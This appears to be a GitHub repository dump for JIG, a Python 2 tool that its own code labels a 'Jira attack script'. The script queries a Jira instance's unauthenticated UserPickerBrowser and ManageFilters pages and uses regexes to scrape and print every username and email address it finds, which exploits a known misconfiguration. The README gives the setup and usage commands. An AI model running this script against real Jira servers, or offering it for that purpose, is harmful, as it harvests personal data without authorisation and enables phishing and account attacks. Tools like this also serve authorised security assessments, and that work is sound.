├── .gitattributes ├── JIG.py ├── LICENSE ├── README.md └── requirements.txt /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /JIG.py: -------------------------------------------------------------------------------- 1 | import re 2 | import sys 3 | from itertools import izip as zip 4 | import argparse 5 | import requests 6 | 7 | # argparse definitions 8 | parser = argparse.ArgumentParser(description='Jira attack script') 9 | parser.add_argument('URL', type=str , help='the URL of the Jira instance... ex. https://jira.organization.com/') 10 | parser.add_argument('-u' ,'--usernames', dest='names', action='store_const', const=True, help='Print discovered usernames') 11 | parser.add_argument('-e' , '--emails', dest='emails',action='store_const', const=True, help='Print discovered email addresses') 12 | parser.add_argument('-a' ,'--all', dest='all',action='store_const',const=True,help='Print discovered email addresses and usernames') 13 | parser.add_argument('-eu' , dest='all',action='store_const',const=True,help=argparse.SUPPRESS) 14 | parser.add_argument('-ue' , dest='all',action='store_const',const=True,help=argparse.SUPPRESS) 15 | args = parser.parse_args() 16 | url = args.URL 17 | if args.URL[-1] != '/': 18 | args.URL = args.URL + "/" 19 | 20 | # Define URLs 21 | pickerURL = args.URL + "secure/popups/UserPickerBrowser.jspa?max=9999" 22 | filtersURL = args.URL + "secure/ManageFilters.jspa?filter=popular" 23 | #dashboardURL = args.URL + "secure/Dashboard.jspa" 24 | 25 | def extractPicker(response): 26 | ''' 27 | Takes in the response body for UserBrowserPicker and returns a dictionary containing 28 | usernames and email addresses. 29 | ''' 30 | userList = re.compile(r"-name\">(.*)").findall(response.text) 31 | emailList = re.compile(r">(.*\@.*)").findall(response.text) 32 | dictionary = dict(zip(userList , emailList)) 33 | return dictionary 34 | 35 | def extractFilters(response): 36 | ''' 37 | Takes in the response body for the manage filters page and returns a list containing usernames. 38 | ''' 39 | userList = re.compile(r".\((.*)\)").findall(response.text) 40 | return list(set(userList)) 41 | 42 | def validateURL(url): 43 | ''' 44 | Runs a stream of validation on a given URL and returns the response and a boolean value. 45 | ''' 46 | 47 | try: 48 | s = requests.Session() 49 | validateresponse = s.get(url , allow_redirects=False,timeout=5) 50 | except requests.exceptions.InvalidSchema: 51 | print "" 52 | print "[-] Invalid schema provided... Must follow format https://jira.organization.com/" 53 | print "" 54 | sys.exit(1) 55 | except requests.exceptions.MissingSchema: 56 | print "" 57 | print "[-] A supported schema was not provided. Please use http:// or https://" 58 | print "" 59 | sys.exit(1) 60 | except requests.exceptions.InvalidURL: 61 | print "[-] Invalid base URL was supplied... Please try again." 62 | sys.exit(1) 63 | except requests.exceptions.ConnectionError: 64 | print "" 65 | print "[-] Connection failed... Please check the URL and try again." 66 | print "" 67 | sys.exit(1) 68 | except requests.exceptions.RequestException: 69 | print "" 70 | print "[-] An unknown exception occurred... Please try again." 71 | print "" 72 | sys.exit(1) 73 | if validateresponse.status_code == 200: 74 | return validateresponse,True 75 | else: 76 | return "[-] The page is inaccessible",False 77 | 78 | if __name__ == "__main__": 79 | pickerResponse,pickerAccessible = validateURL(pickerURL) 80 | filterResponse,filterAccessible = validateURL(filtersURL) 81 | 82 | print "" 83 | print "" 84 | print "[+] Checking the User Picker page..." 85 | 86 | if pickerAccessible == True: 87 | users = extractPicker(pickerResponse) 88 | print "" 89 | print "[+] Success..." 90 | print "[+] Users: "+str(len(users)) 91 | print "[+] Emails: " + str(len(users)) 92 | print "" 93 | if (args.emails and args.names) or args.all: 94 | print '{:<20}{:<20}'.format("---Username---", "---------Email---------") 95 | for username, email in sorted(users.iteritems()): 96 | print '{:<20}{:<20}'.format(username,email) 97 | elif args.emails: 98 | for username,email in sorted(users.iteritems()): 99 | print email 100 | elif args.names: 101 | for username,email in sorted(users.iteritems()): 102 | print username 103 | print "" 104 | elif pickerAccessible == False: 105 | print pickerResponse 106 | 107 | print "" 108 | print "" 109 | print "[+] Checking the Manage Filters page..." 110 | 111 | if filterAccessible == True: 112 | filterUsers = extractFilters(filterResponse) 113 | if args.names or args.all: 114 | if len(filterUsers) == 0: 115 | print "[-] We could not find any anonymously accessible filters" 116 | print "" 117 | else: 118 | print "[+] The Manage Filters page is accessible and contains data..." 119 | print "" 120 | for username in filterUsers: 121 | print username 122 | print "" 123 | elif filterAccessible == False: 124 | print filterResponse -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # JIG 2 | Jira Information Gatherer (JIG) is a python script that takes advantage of certain misconfigurations in Jira Core and Software instances that lead to the disclosure of usernames and email addresses. 3 | 4 | # Setup 5 | pip install -r requirements.txt 6 | 7 | # Usage 8 | python JIG.py -a https://jira.instance.com/ 9 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests --------------------------------------------------------------------------------